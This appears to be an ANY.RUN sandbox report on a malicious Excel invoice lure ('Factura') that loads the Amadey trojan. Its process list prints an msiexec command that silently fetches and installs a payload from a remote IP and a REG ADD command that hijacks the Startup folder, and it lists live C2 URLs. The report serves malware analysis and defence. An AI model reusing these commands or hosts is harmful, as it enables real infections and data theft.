Malware analysis 71913464_Factura_FMC1130_20190424.xls Malicious activity

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File name:	71913464_Factura_FMC1130_20190424.xls
Full analysis:	https://app.any.run/tasks/cfdfc3a7-0170-44d4-ba74-7c70f4ff657d
Verdict:	Malicious activity
Threats:	Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks. A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	April 24, 2019, 22:26:04
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open loader exe-to-msi trojan amadey ta505
Indicators:
MIME:	application/vnd.ms-excel
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Wed Apr 24 13:57:37 2019, Security: 0
MD5:	D33FD4D91E78F4E4CDA03703159BC37E
SHA1:	D49232D4EB98B5730C895A5F3B1DCAEED89502F0
SHA256:	F7A615EB750B37C381B3D8A563A2D2A810659094E2548FDBA95CED82FA390707
SSDEEP:	3072:tKpb8rGYrMPelwhKmFV5xtezEsgrdgNeEQSNfzAKAn8CsEwF:tKpb8rGYrMPelwhKmFV5xtuEsgrdgNHZ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 240 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 180 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Changes the Startup folder
  - REG.exe (PID: 2348)
- Downloads executable files from the Internet
  - msiexec.exe (PID: 1712)
- AMADEY was detected
  - cmualrc.exe (PID: 3924)
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 1160)
- Connects to CnC server
  - cmualrc.exe (PID: 3924)
- Downloads executable files from IP
  - msiexec.exe (PID: 1712)
- Application was dropped or rewritten from another process
  - cmualrc.exe (PID: 3924)
- Uses Microsoft Installer as loader
  - EXCEL.EXE (PID: 1160)
SUSPICIOUS
- Creates files in the program directory
  - MSI98B4.tmp (PID: 1240)
- Executable content was dropped or overwritten
  - msiexec.exe (PID: 1712)
  - MSI98B4.tmp (PID: 1240)
- Starts itself from another location
  - MSI98B4.tmp (PID: 1240)
- Uses REG.EXE to modify Windows registry
  - cmualrc.exe (PID: 3924)
- Drop ExeToMSI Application
  - msiexec.exe (PID: 1712)
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 1160)
- Application was dropped or rewritten from another process
  - MSI98B4.tmp (PID: 1240)
- Creates files in the user directory
  - EXCEL.EXE (PID: 1160)
- Writes to a desktop.ini file (may be used to cloak folders)
  - msiexec.exe (PID: 1712)
- Starts application with an unusual extension
  - msiexec.exe (PID: 1712)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.xls	\|	Microsoft Excel sheet (78.9)

EXIF

FlashPix

Author:	Microsoft Office
LastModifiedBy:	1
Software:	Microsoft Excel
CreateDate:	2018:12:19 10:42:12
ModifyDate:	2019:04:24 12:57:37
Security:	None
CodePage:	Windows Cyrillic
Company:	Microsoft Corporation
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	4 OOOO 2 3
HeadingPairs:	Листы 2 Макросы Excel 4.0 2

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

1160

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Excel

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

1240

"C:\Windows\Installer\MSI98B4.tmp"

C:\Windows\Installer\MSI98B4.tmp

msiexec.exe

User:

admin

Integrity Level:

MEDIUM

Exit code:

Modules

Images
c:\windows\installer\msi98b4.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

1712

C:\Windows\system32\msiexec.exe /V

C:\Windows\system32\msiexec.exe

services.exe

User:

SYSTEM

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows® installer

Exit code:

Version:

5.0.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

2348

REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\f64a428dfd

C:\Windows\system32\REG.exe

cmualrc.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Registry Console Tool

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\reg.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll

3868

msiexec.exe STOP=1 /i http://92.38.135.134/dom2 /q ksw='%TEMP%'

C:\Windows\system32\msiexec.exe

—

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows® installer

Exit code:

Version:

5.0.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

3924

c:\programdata\f64a428dfd\cmualrc.exe

MSI98B4.tmp

User:

admin

Integrity Level:

MEDIUM

Exit code:

Modules

Images
c:\programdata\f64a428dfd\cmualrc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

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Total events

904

Read events

836

Write events

Delete events

Modification events


(PID) Process:	(1160) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	{-5
Value: 7B2D350088040000010000000000000000000000
(PID) Process:	(1160) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(1160) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(1160) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: 880400002659B3C3ECFAD40100000000
(PID) Process:	(1160) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	{-5
Value: 7B2D350088040000010000000000000000000000
(PID) Process:	(1160) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(1160) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(1160) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(1160) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(1160) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\E75E8
Operation:	write	Name:	E75E8
Value: 04000000880400003400000043003A005C00550073006500720073005C00610064006D0069006E005C00370031003900310033003400360034005F0046006100630074007500720061005F0046004D00430031003100330030005F00320030003100390030003400320034002E0078006C007300000000000F00000043003A005C00550073006500720073005C00610064006D0069006E005C000100000000000000B0079CC5ECFAD401E8750E00E8750E0000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
1160	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVR6D6B.tmp.cvr		—
		MD5:—	SHA256:—
1712	msiexec.exe	C:\Users\admin\AppData\Local\Temp\~DF44C11054E097593B.TMP		—
		MD5:—	SHA256:—
1712	msiexec.exe	C:\Windows\Installer\MSI97E7.tmp		—
		MD5:—	SHA256:—
1712	msiexec.exe	C:\Windows\Installer\MSI98B4.tmp		—
		MD5:—	SHA256:—
1240	MSI98B4.tmp	C:\ProgramData\0		—
		MD5:—	SHA256:—
1240	MSI98B4.tmp	C:\programdata\f64a428dfd\cmualrc.exe:Zone.Identifier		—
		MD5:—	SHA256:—
1712	msiexec.exe	C:\Config.Msi\e974c.rbs		—
		MD5:—	SHA256:—
3924	cmualrc.exe	C:\ProgramData\0		—
		MD5:—	SHA256:—
1712	msiexec.exe	C:\Users\admin\AppData\Local\Temp\~DFEFDA1F88E241853D.TMP		—
		MD5:—	SHA256:—
1160	EXCEL.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\71913464_Factura_FMC1130_20190424.xls.LNK		lnk
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
1712	msiexec.exe	GET	200	92.38.135.134:80	http://92.38.135.134/dom2	RU	executable	172 Kb	suspicious
3924	cmualrc.exe	POST	200	188.254.142.85:80	http://gohaiendo.com/ppk/index.php	BG	text	6 b	malicious
3924	cmualrc.exe	POST	200	188.254.142.85:80	http://gohaiendo.com/ppk/index.php	BG	text	6 b	malicious
3924	cmualrc.exe	POST	200	188.254.142.85:80	http://gohaiendo.com/ppk/index.php	BG	text	6 b	malicious
3924	cmualrc.exe	POST	200	213.6.58.250:80	http://gohaiendo.com/ppk/index.php	PS	text	6 b	malicious

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
1712	msiexec.exe	92.38.135.134:80	—	—	RU	suspicious
—	—	188.254.142.85:80	gohaiendo.com	Bulsatcom EAD	BG	suspicious
3924	cmualrc.exe	188.254.142.85:80	gohaiendo.com	Bulsatcom EAD	BG	suspicious
3924	cmualrc.exe	213.6.58.250:80	gohaiendo.com	Palestine Telecommunications Company (PALTEL)	PS	malicious

DNS requests

Domain	IP	Reputation
gohaiendo.com	188.254.142.85 89.45.19.18 195.222.40.54 86.101.230.109 80.80.165.93 89.47.94.113 109.120.214.195 84.54.187.24 2.185.239.164 89.121.244.210 213.6.58.250 91.104.18.219 213.176.4.248 89.238.207.5 151.251.23.210 82.208.161.228 197.157.216.75 109.175.7.8 78.40.46.135 190.158.226.15	malicious

Threats

PID	Process	Class	Message
1712	msiexec.exe	Misc activity	SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
1712	msiexec.exe	Potential Corporate Privacy Violation	POLICY [PTsecurity] Executable application_x-msi Download
3924	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3924	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3924	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3924	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3924	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3924	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3924	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3924	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey

5 ETPRO signatures available at the full report

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No debug info

General Info

71913464_Factura_FMC1130_20190424.xls

D33FD4D91E78F4E4CDA03703159BC37E

D49232D4EB98B5730C895A5F3B1DCAEED89502F0

F7A615EB750B37C381B3D8A563A2D2A810659094E2548FDBA95CED82FA390707

3072:tKpb8rGYrMPelwhKmFV5xtezEsgrdgNeEQSNfzAKAn8CsEwF:tKpb8rGYrMPelwhKmFV5xtuEsgrdgNHZ

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Changes the Startup folder

Downloads executable files from the Internet

AMADEY was detected

Unusual execution from Microsoft Office

Connects to CnC server

Downloads executable files from IP

Application was dropped or rewritten from another process

Uses Microsoft Installer as loader

SUSPICIOUS

Creates files in the program directory

Executable content was dropped or overwritten

Starts itself from another location

Uses REG.EXE to modify Windows registry

Drop ExeToMSI Application

INFO

Reads Microsoft Office registry keys

Application was dropped or rewritten from another process

Creates files in the user directory

Writes to a desktop.ini file (may be used to cloak folders)

Starts application with an unusual extension

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings